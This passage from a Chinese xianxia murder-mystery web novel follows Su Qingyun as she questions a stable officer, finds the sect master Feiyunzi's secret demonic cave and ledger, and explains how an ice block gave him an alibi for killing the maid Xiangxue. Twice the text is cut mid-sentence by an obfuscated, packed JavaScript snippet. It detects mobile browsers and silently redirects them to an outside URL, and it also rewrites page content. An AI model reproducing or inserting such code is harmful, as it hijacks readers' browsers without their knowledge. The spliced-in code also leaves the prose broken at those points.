苏晴沄并不打算向他解释原因,继续问道:“你跟香雪是什么关系?” “既然姑娘已经见过甜雨,应该从她口中得到了答案。” “甜雨的话我也没全信,所以你再说一遍吧。” 王岳清楚,对方这是要核对证词,“我当年在唐小将军身边做亲随,那时小将军跟公主走得近,所以认识香雪。” “听说唐昊去东北边疆了?你怎么没跟去?” “我受了重伤、失了修为,没法继续跟着小将军了。” “没修为的将士也很多啊,就这么把你赶走,小将军未免有些不近人情吧?” “是我自觉没有能力继续追随将军才请辞的,小将军知道我喜欢马,因此安排我去马场做了牧尉。” 苏晴沄点了点头,这些倒是能跟马场那边的说法对上,“你在马场多久了?” “六年了。” “一直跟香雪联系吗?” “不。我失去修为后便不愿再见旧人,而且我虽然跟香雪认识,却也算不上很熟,她也不知道我在马场。直到上月初七那天,她偶然在马场撞见了我,这才联系上的。” 上月初七么……“久别重逢,你们聊了很多吧?” “也没有。她是落下东西回来取的时候撞上我的,还得赶回去服侍公主,所以只说了一会儿话。” “说了什么?” “彼此的近况和一些旧事。”王岳脸上浮现一抹怀念的笑,“当年我们跟着两位主子胡闹了许多,虽然年少轻狂却也至真至信。”他轻轻叹了口气,眼中掠过感伤,“都已回不去了。” 原来如此,因为遇上了旧人,所以突然对比往昔,觉得公主跟小将军更合适。当然,前提是香雪认定飞云子跟平乐公主不般配。 “那之后你们经常见面吗?” 王岳轻轻摇了摇头,“公主不愿想起往昔,未免让我进入她的视野,香雪没再来过。直到被杀前的那晚,她才来向我求助。” “求助?” “是。”王岳边回忆那时的情景边道,“她说一年前公主取走一朵蓝莲花,让她等新开花的时候按损毁一朵入账、填补亏空。因为蓝莲花的采摘条件十分严苛,损伤花瓣的情况常有发生,虽然一整朵的量有些大,但分散记在几朵花上应该可以遮掩。如今蓝莲花专供公主使用,她便没有在意。 谁知凌王突然要用蓝莲花,公主就给了她银两,让她担下罪名、趁夜逃走。她认为这是飞云子的主意,当初那朵蓝莲也是飞云子骗走的。为公主顶罪,她心甘情愿,但是担心飞云子终有一天会害了公主,所以希望我能帮她揭露飞云子的真面目,让公主早日认清其伪善。” “她确定蓝莲花是飞云子骗走的?” “只是猜测……不过这次的事,她说公主是跟飞云子商量之后才让她顶罪的,所以怀疑是飞云子害她。” “害她?为什么?” “因为她发现了飞云子的真面目吧。”王岳的眼神忽然闪烁起来。 “真面目?那究竟是什么?”苏晴沄质疑道,“飞云子在城中的口碑极好,我也曾见过此人,虽然已达元婴却没有一点架子,心思单纯又无欲无求……” “那些不过是假象!”王岳忍不住打断了她。 “是吗?”苏晴沄玩味地看向他,“这么说来你见过真相了?或者是香雪跟你说过真相了?” 听她这么问,王岳的脸色变得难看起来。 “不想回答吗?”苏晴沄向洞内走了几步,站在那个挡住王岳的禁制前面,“我来的时候看到平乐公主坐着步撵上山呢,也不知道飞云子是不是真的会害她?” 王岳的嘴唇抖了抖,终于开口道:“香雪说公主经常带着书画、古玩来找飞云子,两人在书房中一待便是一下午,每当这种时候就会让她在门外候着。她本来以为两人是在里面鉴赏书画或把玩摆件,可有次闹肚子,中途离开门口时她发现飞云子从书房后面的拉门走出来,抱着公主跳下了山崖。 当时她吓了一跳,急忙跑到崖边向下张望,但什么也没看见。就这样忐忑地守在书房外,一个时辰后飞云子又带着公主又从书房正门走了出来。她总算松了口气,但仔细想想又怀疑山崖下面有什么秘密所在,而飞云子带着公主去隐秘之所必定不是做什么好事……” 看着他脸上的神情,苏晴沄恍然问道:“香雪怀疑飞云子对公主行苟且之事?” 王岳咬了咬牙,狠狠道:“若那人真喜欢公主自当向陛下提亲、明媒正娶,婚前男女独处,纵使没做什么也终是坏了公主的名声,实非君子之为!” 苏晴沄总算有些明白了。甜雨说看到香雪对着悬崖发呆,只怕是那时香雪已经在调查飞云子,想弄清楚悬崖下面究竟有什么。而王岳从后山爬上来也不仅仅是为了隐秘行踪,还因为他从香雪口中知道了后山悬崖下的秘密。 “好吧,我姑且相信你的说辞。那么从香雪向你求助至今,你都做了些什么?可以说明一下吗。” 王岳颓然点头,似乎说出公主的秘事令他很是难受,“香雪向我求助之后便打算离开,说是公主让她去虬县码头找接应的人,然后沿云河向下逃往景国。 但我觉得此举不妥。如果真如她所猜测,一切都是飞云子的安排,那接应的人很可能会将她杀人灭口,因为死无对证对飞云子更有力。但公主与香雪主仆情深,必定不愿下死手,所以飞云子只能先骗公主让香雪逃走,然后再伺机杀害,这种可能性很大。 于是我建议香雪暂时躲在郊外破屋,等我找个可靠的人送她出去。第二天一早我出门去找朋友,联络好后就去破屋接香雪,可没想到……” “没想到香雪已经死了。” 王岳咬牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126839|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切齿道:“肯定是飞云子!他已有元婴修为,找个凡人并不算难。于是我立刻回马场告假,然后开始调查飞云子。” “可你隔了一天才来这里。” “因为一开始我想查出飞云子杀害香雪的证据,于是托朋友向廷尉府打听案情,又买通城里的乞丐调查了飞云子当日的行踪,结果发现香雪被杀时飞云子正在驿站附近的面摊吃面。我觉得这人狡猾,必定是找了帮凶,但如此一来即便找到证据也只能指认那个帮凶,还不如先调查悬崖下的秘密。” 他目光渐渐坚定,说话声音也愈加沉着:“来之前我写了封信托甜雨交给陛下。香雪说过,府中与她最为交好的人便是甜雨,虽然没多少信心,但如今我能找到的人里也没有谁能向陛下递话,只能姑且一试。不过听你之前话里的意思,香雪应该已经将信送上去了。告别甜雨之后我就来这里攀山,再往后就如你所见了。” 苏晴沄在心中将王岳的话从头到尾反复推敲,并未发现矛盾之处。如此一来能够确定香雪死前就在调查飞云子,而飞云子的杀人动机也就有了。 她随手撤去洞口的灵璧,然后向王岳伸出了手。王岳就这样被莫名其妙地拉着走向禁制,步子越走越大、越走越快,他的眼睛也越睁越大,觉得这次一定会撞得更惨。可是想象中的疼痛始终没有到来,他们就这样走了过去! 穿过禁制后的王岳几乎说不出话来,他第一反应是回过头伸手去摸,结果再度碰触到了无形的墙壁——不是错觉!可他们是怎么穿过来的???纵使曾经身为金丹的他也搞不明白! “还不进来?不是要调查吗?” 王岳扭头看向苏晴沄的背影,咽了口吐沫追了上去。 走了没多久便出现了岔路,选了左边之后又发现岔路,继续选左走到底,终于来到一个不规则的石洞,洞内有丹炉和丹药,其中不少都是魔道所出,看得王岳心惊肉跳。 换路走到第二个石洞,里面无数金银财宝、古玩字画,与飞云宗清贫的形象截然不符。更令苏晴沄惊喜的是,在这里找到了一个账本,里面清楚的记录着一年前曾经有一朵蓝莲花入库,但很快又被提出了。 王岳恨恨道:“果然是他骗走了蓝莲花!” 苏晴沄也终于露出了笑意,“总算是有证据了。” 当他们在第三个石洞中看到无数魔道典籍的时候,王岳忍不住颤声问道:“飞云子是魔修?” “应该没错。”那晚的黑衣人八成就是飞云子。想想他在皓城的口碑,再想想他跟“齐鹤扬”说话的情景,苏晴沄不禁寒毛直竖,这得是多会演啊? 继续改变路线,两人很快发现了第四个石洞,并立刻察觉了其特殊性。 不同于前,这个石洞或者该说是石屋,地面、墙壁全是打磨平整的,一眼看进去就是个方方正正的房间,靠内侧墙壁悬挂着一幅画像——马首、狮身、熊齿、虎爪、犀角、鹰翅、蛇尾——是魔神! 两对视一眼,缓缓向内走去。就在他们进入房间的刹那,身后落下了一座石门,将两人关在石屋之中。与此同时,以魔神画像为起点,一个个符纹接连亮起、在屋内绕了一圈,地面和墙壁迅速布满黑气,只余顶上空空——这房间没有屋顶。 发现这点之后,王岳惊疑道:“上面是出路吗?” 苏晴沄仰面朝上,“不知道。”黑乎乎地什么都看不见,回想洞口距离崖上屋舍的高度,只怕有四五十米吧?要不要带王岳飞上去试试呢? 正想着,有什么东西从上方落了下来。两人连忙闪到墙边躲避,都猜测是有机关要将他们砸死。 可随着那东西坠落进屋内、悬停在半空,两人终于看清那根本不是什么机关暗器,而是一个活生生的人。 苏晴沄更是瞪大了眼睛脱口而出:“齐鹤扬!” 39. 真相(一) 四四方方的石室内,掉下来的西九岭与站在墙边的苏晴沄四目相对,异口同声地惊呼道:“你怎么在这儿?” “中了飞云子的圈套。” “追着王岳来的。” 同时听到对方答案的两人一个扭头看向另一面墙壁前站着的王岳,一个则眼中闪烁着兴奋说道:“果然是飞云子杀的人!” 西九岭点了下头,本想问问去找甜雨的“酒夕”是怎么发现王岳在此的,可王岳却比他更快一步开了口。 “平乐呢!公主她不是也上山了吗?”他神情中的急切溢于言表,“咱们得赶紧去救她啊!” 西九岭意味深长地看了他一眼,说道:“没这个必要。” “为什么?!”王岳惊怒交加地质问了一声,然后猛地退后了半步,视线警惕地从西九岭移向了苏晴沄,“你们究竟是什么人?不是来救公主的吗?” 苏晴沄有些无语。这大兄弟是不是有什么误会啊?她什么时候说自己是来救公主的了?对了,她好像说过自己算是跟冰帝一头儿的,该不会是因为这个吧? 西九岭则在一旁解答了他的疑问:“平乐公主跟飞云子是一伙儿的。” 听到这个答案,苏晴沄一点儿也不意外。如果拿走蓝莲花的是飞云子,那么让香雪替他背锅的公主显然跟他是同伙,何况香雪生前曾说飞云子多次带公主下悬崖,那么公主必然是进过这个秘密山洞的,这里跟天神教相关的物品众多,公主不可能不知情。 但王岳却立刻反驳道:“不可能!公主看似傲慢、实则天真,绝不可能跟魔修为伍!” 西九岭看向苏晴沄,已经确认飞云子是魔修了? 苏晴沄会意颔首,“前面的山洞里有不少魔修之物,飞云子应该是天神教徒。” “果然。”西九岭目光笃定地摊开手掌,将一张符纸展现在两人面前,“这是平乐公主贴到我身上的。” 接着,他将自己被设计陷害的经过简要叙述了一遍。抬眼看向王岳,问道:“你还认为平乐公主是无辜的吗?” 王岳眼眶发红,深吸口气说道:“既然飞云子是个魔修,那自然有可能用魅惑之术操控公主!” 苏晴沄并不认为魅惑之术能够逃过冰帝的眼睛,但如果只在关键时刻使用也不是没有可能,于是便随口安慰道:“若真是操控了公主便不会伤她性命,你也不用太过担心。” 谁知王岳并不领情,反而对她怒道:“公主先天不足、只是凡人,长期被魔气侵蚀怎能无害?!” 苏晴沄忍不住蹙了下眉,感到一丝莫名的违和,这王岳是不是太热心了?凌国人的忠君思想很严重吗?知道公主有危险就一门心思赶去营救,也不想想自己一个凡人怎么跟元婴打? 西九岭回忆方才的情景,并不认为平乐公主是中了媚术,但受到魔修蛊惑却有可能。不论如何,先抓住飞云子再说。 想着,他仰面朝上问了一句:“问题是该怎么出去?” 上方的通道在他落入石室之后就亮起了魔纹,如今整个石室都被禁制封闭,根本没有出路。唯一的办法就是打破禁制,可是…… 哎,要是只有他一个人困在这里就好了。 苏晴沄也抬起了头,无奈道:“是啊,上面的路也被封死了。” 哎,要是只有她一个人困在这里就好了。 王岳同样抬起了头,只是他肉眼凡胎、看不见魔纹和禁制,但见苏、西二人的反应也能猜到发生了什么,“像刚才那样直接穿过去不行吗?” 咳、咳、咳,苏晴沄险些被他的话呛到。 “直接穿过去?”西九岭一脸狐疑地看向身边人,元婴级别的禁制吗? 苏晴沄连忙说道:“怎么可能直接穿过禁制?”她转向王岳一脸认真,“刚才带着你直接往里走是因为我发现那禁制突然消失了,你看不见灵力波动,所以不知道。” 王岳的脸皱了起来,显然不太相信。 西九岭则更加疑惑了,“禁制突然消失?”难道是小狐狸用了什么手段忽悠王岳? 苏晴沄一瞬间觉得脑细胞都沸腾了,可偏偏沸腾的细胞通通气化,一点儿解释的办法也没留下。 就在这时,整个石室猛烈晃动了一下,紧接着,所有的魔纹都失去了光彩,黑色的魔气湮灭殆尽——禁制消失了! 四目相对。 苏晴沄:你看,突然消失了吧! 西九岭:我去,还真能突然消失啊! 不等两人震惊完,一股强大的灵力从上方冲击而下,石室再度晃动起来,而且这次不止一下。脚下的地面隆起又凹陷,如波浪翻滚。四周的墙壁裂开缝隙,碎石和渣土不断掉落。 冰帝凛冽的声音从上方传入了每个人的耳膜:“飞云子,出来见孤!” 当灵力全部散入大地,地震般的波动才终于过去,石室重又恢复了平静,只是地面已经变得凹凸不平,墙壁也都面目全非。 室内三人交换了视线,都明白是冰帝那一击冲散了禁制。 苏晴沄生怕被问起之前那个禁制的问题,率先向王岳伸出了手,“我带你上去。” 上去就能救公主,王岳当即迈开大步朝她这边走来,只是没走两步就被半路截胡的西九岭抓住了胳膊。 西九岭手抓着王岳,眼睛却看着“酒夕”,以不容置疑的口吻说了一句:“我来。”然后便纵身向上跃起。 苏晴沄默默点赞,果然闺蜜最懂怜香惜玉。 石室上方是一间琴室,三人出来时地面的机关门已经破损大半,但屋顶和墙壁依旧完好,可见冰帝那一击只是为了引发地震示威。 打开房门,庭院正中的雾凇赫然入目,同时进入视线的还有跪在树下、神态恭敬的飞云子。 在他对面,凌王姬霜负手而立,一双冰蓝色的眼眸寒气逼人。无数冰晶围绕在她周身飞舞,晶莹剔透反射着璀璨光芒,将她衬托得宛若冰雪之神,就连满树的雾凇也要黯然失色。 而两人之间,是张开手臂的平乐公主。她以凡人之躯挡在元婴宗主身前,以同样冷冽的冰蓝眼眸直视化神之圣,娇声的质问响彻庭院:“一个贱婢栽赃阿翰您也信?阿翰可是我的救命恩人啊!” 凌王的回复不见波澜:“孤信的是那写信之人。” “写信的是谁?您叫他来跟女儿对峙!” 这次凌王没有回复,只是盯着女儿的脸,不知在想些什么。 就在这时,苏、西二人带着王岳从琴室走了出来。 刚一出门,原本走在最后面的王岳就猛地从两人中间冲了出去,几乎是扑到地上向着凌王扣首高呼:“公主是被飞云子所惑,还请陛下详查!” 一瞬间,莫名的违和感又升上了心头。苏晴沄有些疑惑地看向凌王,果然见到一丝惊诧从冰蓝色的眼底闪过,可见凌王也没想到会有人敢如此冒失 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平乐公主也发怒道:“如今是个阿猫阿狗都能跳出来栽赃阿翰了?刚有个来路不明的诬告信,又跳出个穹山掌门的面首!” 西九岭终于确定公主口中的“阿翰”就是飞云子了,除去了伪装,连称呼都变了。 “平乐!”听到面首二字,冰帝第一次对女儿释放了怒意,“这种污言秽语也是堂堂公主该说的?!” 平乐公主有些委屈地看向自己的母亲,神情中依旧带着恨意,“母皇,难道咱们凌国的元婴就这么好欺负吗?!” 凌王双眼眯起,她不喜欢激将法,但她也不喜欢被穹山压一头。 飞云子恰在这时向西九岭抛出了关键问题:“香雪的死亡时间是三日前的辰时,那会儿我正在驿站对面的面摊吃面,老板一家都能作证,道友倒是说说我要如何杀人?” 凌王看向西九岭、等待答案,可回答问题的却是苏晴沄。 “香雪死的时候你确实不在现场,”苏晴沄笑着向前走了两步,“但这不代表你不能杀她。” 平乐公主嗤笑道:“阿翰吃面的地方距离香雪上吊的破屋足有五里,怎么杀人?难道要分身吗?” 苏晴沄只是对她微微一笑,然后转向冰帝说道:“凌王殿下应该还记得当日现场的三个疑点,一、莫名出现的马鬃;二、遗落现场的水囊;三、尸体正下方的木柴和水渍。” 凌王轻轻点头,表示自己记得。 “那么现在就让我们逐一解答。首先,”苏晴沄指了指依然俯首在地的王岳,“现场出现马鬃是因为香雪死前曾去西郊马场找过这位王岳王牧尉,马鬃就是当时粘在身上带入破屋的。而香雪之所以去找王岳,是为了委托他调查飞云子。” 平乐公主嗤笑一声,“香雪调查阿翰做什么?而且还是委托给一个喂马的?依本宫看,怕是这个王岳杀了香雪,想要栽赃给阿翰的吧?” 西九岭也投去了询问的目光。因为时间紧迫,他只在从石室飞上来的时候听苏晴沄说了一句飞云子是凶手,但具体情况全然不知。关于香雪找王岳的目的,他也是第一次听到。 苏晴沄的视线从众人身上掠过,然后面向平乐公主泰然自若道:“香雪之所以调查飞云子,是因为她怀疑飞云子在后山悬崖下对你行不轨之事。” 此话一出,全场静默。 40. 真相(二) 山间小院忽然飘起了雪花,天边的云雾也渐渐聚拢,一股寒意骤然降落,仿佛暴风雪即将来临。 凌王冷眼注视着苏晴沄,冰蓝色的瞳仁几乎能将人冻死,围绕在她周身的冰晶如龙卷风般飞速旋转,不断将空中飘落的雪花吸入旋涡、越聚越多。 苏晴沄抬头看天、眨了眨眼,身为化神她自然知道这天气异象突如其来的原因,但是身为现代人她不明白这是为什么啊?解释个案情你生什么气啊,又没说你闺女是凶手? 看着这一幕的西九岭悔不当初,早知道就该自己先问清案情然后转述给冰帝,可他无论如何也想不到这姑娘口没遮拦的毛病在一个化神巨擘面前也不知收敛啊! 飞云子半张着嘴,似乎是被苏晴沄的发言惊呆了,全然忘记了争辩。 王岳将脸埋在地上,弓起的脊背不住颤抖。作为现场唯二的凡人,他已经开始受不住寒冷。 佩戴法宝护体的平乐公主虽然不怕寒冷,但脸色却是几人中最差的一个。她双颊涨得通红,猛吸了几口气才说出话来:“胡、胡说八道!” 看到平乐公主气成这样,苏晴沄终于反应了过来。她有些无奈地解释道:“这只是香雪的猜测,她的猜测未必正确,但她的调查足以构成飞云子杀人的动机。” 或许是解释起到了作用,凌王的神情缓和了许多,周身的冰晶慢慢稳定下来,天空的浓云也渐渐散去,只是雪还未停。 西九岭也松了口气,终于可以问出关心的问题:“飞云子知道香雪在调查他吗?” “应该是知道的。”苏晴沄看了王岳一眼,“香雪告诉王岳,自己曾多次看到飞云子带着公主下悬崖,怀疑悬崖下面有问题,并称自己已经做过调查,只是没有结果。而甜雨说最近曾看到香雪在悬崖边发呆,她以为香雪是有心事,但那其实应该是在观察悬崖。连甜雨一个普通人都发现了香雪的行动,飞云子不可能没有察觉。” 随着她的叙述,平乐公主也渐渐冷静下来。听到此处哼了一声,驳道:“这些只是你的猜测。就好像香雪猜测悬崖下方有什么一样,其实不过是本宫觉得无聊,让阿翰带本宫在山间御剑而已。香雪自己糊涂,阿翰却不会为此杀人的。更何况香雪死的时候他在驿站旁边吃面,怎么可能杀人?” 凌王面色平静无波,心底却是认同这番解释的。女儿小时候也常常让她这个母亲表演法术,缠着飞云子御剑很正常。不过要保证凡人御剑时不会坠落就必然要有肢体接触……她淡淡地扫了飞云子一眼,后者挠了挠头,似乎有些不好意思,但并无愧疚之色,看来是真的没什么。 “孤也想知道飞云子要如何在五里之外杀人。”她这个化神都没有分身的本事,飞云子自然也不会有。 苏晴沄转向凌王,说道:“这就要从另外两个疑点说明了。水囊和散落水渍中的木柴,起初我以为这些是凶手为了伪造自杀而布置的。但很快就从尸体中发现了迷药成为,确定是他杀。当时我就觉得不对劲,用迷药岂不是一查就暴露他杀事实了吗?那他精心布置的自杀现场,岂不是白费了?” 平乐公主嗔道:“因为凶手是凡人,只能用迷药呗!” “凡人可以用迷药,但用迷药的不一定是凡人。” “要是修士,直接用法术不就得了?如此一来也不会被发现是他杀了。” 苏晴沄摇了摇头,“公主忘了一个关键事实,那就是被害人是香雪、公主府的大丫鬟,而她被害又与凌王索要蓝莲花有关。如果凶手知道这些,那断然不会冒险使用法术。因为一旦凌王殿下亲临,那么以她化神之能稍一探查就会立刻发现使用法术的痕迹。修士的灵气各不相同,如果是接触过的灵气,那么凌王在看到尸体的同时便可知道凶手的身份。” 说完,她瞥了眼依然跪着的飞云子,又看了眼若有所思的凌王,然后对着哑口无言的平乐公主继续说道:“即便是凡人,也不是只能用迷药,也可以打晕她。” 平乐公主感觉自己又抓住了漏洞,立刻反驳道:“那还不是一样会被查出是他杀,有什么区别?” “所以啊,”苏晴沄微微勾起唇角,“凶手的精心布置其实不是为了伪造自杀,而是为了伪造不在场证明。” “不在场证明?怎么伪造?”平乐公主不服气道,“难道水囊和木柴还能摆出什么高阶阵法改变时间和空间?本宫可没听说过。” 其他人也纷纷投来视线,想看看苏晴沄究竟要如何解释。 苏晴沄胸有成竹道:“摆阵不行,但做个垫脚还是可以的。”她抬起手抓了一下,中央大树上的一截雾凇便飞入了手中,轻轻一握,冰雪融化、树枝露了出来,“虽然已是春日,但这山上依旧寒冷如冬。将木柴聚在一起放入水中,很快就能冻成一个冰坨。 凶手就用这个冰坨做成垫脚,让昏迷中的香雪站在上面、脖子套入绳圈,等冰化开木柴便会散倒,香雪自然就吊到了房梁上,碎冰渣则化成水留在地面。 破屋出现木柴很容易被认定为烧火之用,可如果木柴是湿的就引人怀疑了。于是凶手想了个办法。他去城中店铺偷了个水囊放在木柴旁边,伪造成水囊掉落洒水的假象。但因为不了解女人搭配着装的习惯,结果反而造成了现场的违和感。 做好一切之后凶手就离开了现场,他估算好冰雪融化的用时,然后在那个时间段去了驿站对面的面摊。那家面摊是他常去的店,老板一家人都认识他,加之特意错过晨课让徒弟去找,很容易就会被老板记住。这样,就有了完美的不在场证明。” 她一口气说完,所有人都陷入了沉思。 凌王微微眯起眼看向飞云子,平乐公主则下意识挡住了母亲的视线。 “说的跟你亲眼所见似的,”她向着苏晴沄发出了质问,“可惜这手法什么人都能用,你凭什么说是阿翰做的?” “水囊是偷的、迷药也无法查出源头、木柴到处都有,冰就更不用说了,确实没有证据能够证明是飞云子做了这一切。”苏晴沄看着她略微松弛的表情,从袖中缓缓取出一个账本,“但我有证据证明是飞云子拿走了那朵蓝莲花,而香雪是替罪羊,他有杀人灭口的动机。” 凌王抬手一抓,账本立刻被她抓入掌中。 苏晴沄继续说道:“为了帮助飞云子掩盖罪行,你让香雪顶罪潜逃,还安排了人在虬县码头接应。可香雪却已经开始怀疑飞云子的人品,在出城后先去了马场委托王岳调查飞云子。听说一切之后,王岳担心飞云子在虬县码头杀人灭口,于是让香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149042|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪躲在破屋等他安排人去接应。只是两人都没有发现,飞云子就跟在他们身后……” 话音落下的同时,凌王也看完了账本、缓缓抬起了头。 此时的平乐公主才终于明白过来,对面这女人不是去琴室救同伴的,这女人是去了悬崖下的秘洞,那里的秘密被发现了! 她下意识向后退缩,可后撤的脚还没落稳就被一只手掐住了脖子。 飞云子不知何时已经站了起来,他从平乐公主的颈侧缓缓探出头来,语气平淡地开口:“不要动,否则就杀了她。” 这位全城人眼中的迷糊宗主依旧笑着,只是眼底没有一丝情绪,淡漠的声音透着冷酷无情,那笑容就仿佛一张假面贴在脸上一般。 被他掐住的平乐公主面色发白,一双冰蓝色的眸子写满了惊恐,颤声叫道:“阿翰……” “别这么叫我,”飞云子将脸贴近了公主的鬓发,眼睛却始终紧盯着前方的凌王,“你根本不知道我是谁。” “我怎么不知……” “你不知道。”飞云子的声音淡漠而笃定,他看向苏晴沄,“你甚至还不如这个刚到皓城四天的女人了解我,至少她知道我信奉唯一的真神、信奉天神教。” 听到此话,平乐公主的眼睛愕然圆睁,凌王周身的冰晶骤然暴起,就连苏晴沄和西九岭都忍不住感到惊讶——他居然承认了! 不过转念一想也是,既然拿出了账本就证明他们已经去过秘洞。而且石室中有魔神的画像,飞云子是不可能跟天神教撇清关系的。 凌王猛然想到了什么,迅速转头看向西九岭,“你知道?” 西九岭叹了口气,“我们是查到天神教的线索才来皓城的,本想确认无误之后再跟阁下商议,谁知道……” 凌王心思通透,立刻便想到了关窍,“你们在哪里发现了蓝莲花?” 西九岭闭了下眼,“我们只是查到有人使用了蓝莲花。” “使用?” “是,那朵蓝莲花被人用来压制魔气了。” 就在众人被两人对话吸引的时候,一个黑影突然从苏晴沄身边蹿了出去。苏晴沄反应过来立刻飞跃起身,一掌扣住了黑影的肩头,“你干什么?!” 只见王岳手持匕首、双眼泛红,目眦欲裂地瞪着飞云子,手臂用力挣扎着嘶吼:“放开我!” 苏晴沄简直要气炸了,这人是想救驾想疯了吗?拿个匕首就敢拼元婴,这是脑残啊?还是脑残啊! 可那一声嘶吼却吸引了平乐公主的视线,“唐昊!你的脸……你,你怎么会……”说到一半她就说不下去了,似乎有太多问题想问,惊愕、疑惑、探究、怨愤,无数情绪填满了她眼底的色彩,扼住了所有的语言。 什么东西?唐昊? 苏晴沄反应了片刻才想起唐昊是谁,她一把扭过了王岳的肩、仔细打量他的脸。 男人的脸被一条丑陋的刀疤从中间分成两半,浓密的胡须遮住了鼻子以下的面孔,可那双星眸熠熠生辉,两道剑眉锐气飞扬,只看眼眉分明就是个俊朗的青年。再回想他这一路的谈吐、举止,还有解救公主的执着…… 是了,他根本就不是什么牧尉王岳。他是小将军唐昊,那个平乐公主的前男友! 41. 真相(三) 被平乐公主识破身份的唐昊仿佛一下子失去了勇气,他压低了面孔,不再试图挣脱苏晴沄的手掌前冲,甚至微微颤抖着想要后退。 一切发生的太过突然,早在七年前就远赴东北的唐昊居然在西郊马场做了六年多的牧尉,而且还跟被杀的香雪有联系,事情似乎更复杂了。 短暂的沉默之后,飞云子在平乐公主的耳边发出一声并不如何惋惜的叹气,说道:“还是被你发现了。” 平乐公主微微睁大了眼,颤声问道:“你早就知道?”然后她突然想到了什么,视线猛地转向自己的母亲,“您也知道!那封信就是唐昊写的,对不对?!” 凌王回视自己的女儿,没有否认。 平乐公主还想说话,但脖子却猛地被掐紧、扼住了所有语言,也令她露出了痛苦之色。 飞云子不顾凌王眼中的怒火,淡淡开口道:“你看,你什么也不知道。而香雪却知道,她甚至想劝唐昊跟你复合。” 平乐公主说不出话,眼神却露出了惊讶。 “要不是你托我护送香雪出城,我还不会发现。”说到这里他呵呵一笑,“真神庇佑,让我察觉了那贱婢的心思,先一步杀死了她。” 他看了眼苏晴沄,“你的推测确实很准,但有一点错了。” 苏晴沄挑了挑眉,摆出一副愿闻其详的姿态。 “现场的马鬃,是我从马场里拿木柴时带的。” 苏晴沄微微一怔,然后恍然道:“你想陷害唐昊?”因为马鬃他们才查到马场,一开始也确实是怀疑唐昊的,如果不是发现了秘洞,唐昊的嫌疑现在还无法洗清。 飞云子嗤笑一声,“本来我是想杀死他的,可那样就不好跟公主解释了。” 他看了眼手中的平乐公主,继续道:“利用公主掌控凌国就能广布真神之道,我为此努力了这么多年,好不容易才让公主言听计从,如此大好局面怎么能为个窝在马场里的废物功亏于溃?所以我杀了香雪,却留下了唐昊的命,然后在现场使用了马场取来的木柴。如此一来,只要廷尉府找到马场就会查出香雪死前去见了唐昊,两人还曾经独处。” 说完他叹了口气,“可惜廷尉府那群蠢货根本就没往马场那边查,让这家伙跑了出来。” 西九岭问道:“你就不怕廷尉府真的抓了唐昊,而唐昊为了自证清白说出真相,将你的罪行宣告天下?” “就凭他?”飞云子抬起头,眼中尽是不屑,“一个修为被废、容貌被毁就不敢再爱的家伙?” “你大概不知道吧?他当年宣称要另娶他人的消息都是让家人传的话,我当时还奇怪这人脑子是不是打仗打傻了?如今才知道他是觉得自己变得一无是处、配不上公主,想让公主忘记他另觅佳偶,又想留住自己在公主心中的完美形象,所以连最后一面都不敢见,只能让人带个谎话骗公主死心,自己则躲在马场里隐姓埋名,只求能够远远看上公主一眼。这样一个胆小鬼,你觉得他敢说出那些过往吗?他敢说出真相吗?” 他说的是唐昊,可却始终没看唐昊一眼,显得十分蔑视。而唐昊就仿佛被他说中了心思一般,不住地后退,头也压得更低,身份揭穿前后简直判若两人。 飞云子又补充道:“不过他说了也没用,没有证据,谁会相信呢?” 苏晴沄忍不住在心中赞同。一个曾经恶名昭著的小霸王消失多年后突然跑出来说前女友的现男友是大坏蛋,谁能信啊? 西九岭却想到了另一个问题:“你没将实情告诉公主?”虽然飞云子挟持着公主,但他总觉得公主之前的反应不像是一无所知。 飞云子道:“我担心公主对唐昊藕断丝连,所以谎称香雪去马场会了情郎,那个情郎劝她揭发蓝莲花的真相,我迫不得已只好杀了她。公主果然没有怀疑,还帮我隐瞒。” 说着这里他发出了一串闷笑,仿佛是在嘲讽公主的愚蠢。 凌王盯着他的手指,那下面的白皙脖颈上已经出现了红痕,她冷冷开口:“你把蓝莲花给谁用了?” 飞云子看向西九岭,短短一个眼神触碰之后就别开了视线,对着平乐公主的侧脸说道:“当然是自己啊。整天在陛下眼皮子底下晃荡,压不住魔气可不行。偏偏一年我前练功不慎出了点儿问题,只好骗公主说受了内伤,借蓝莲花用用。嗯,效果还真是不错。” 常年在人前演戏的他心思异常细腻,早在之前西九岭与凌王对话时就推测出了西九岭知道魏宁的存在并想要隐瞒,所以此刻他跟西九岭打了个眼色,一方面确认对方隐瞒的决心,一方面表明自己同样会隐瞒的态度。 西九岭听着这段谎言五味陈杂。虽然他觉得保护魏宁没有错,但跟一个天神教徒达成一致的感觉实在不算舒服。 苏晴沄也有所察觉,心中暗暗舒了口气,万一魏宁的事情暴露,这位凌王殿下不知道会做出什么。 这种担忧让她主动开口转移了问题的方向:“前天晚上你在哪里?” 飞云子笑了一下,“你是说虬县界碑外的那个魔阵吗?” 西九岭道:“你果然是那个黑衣人。” 飞云子别有深意地笑了,“没错。看你们拿了蓝莲花还不走,我就猜你们是要调查案情。可惜那晚我找错了对象,若是决定先杀这位姑娘,如今就不是这个局面了。”若不是苏晴沄找到了秘洞,他可以继续演下去的。 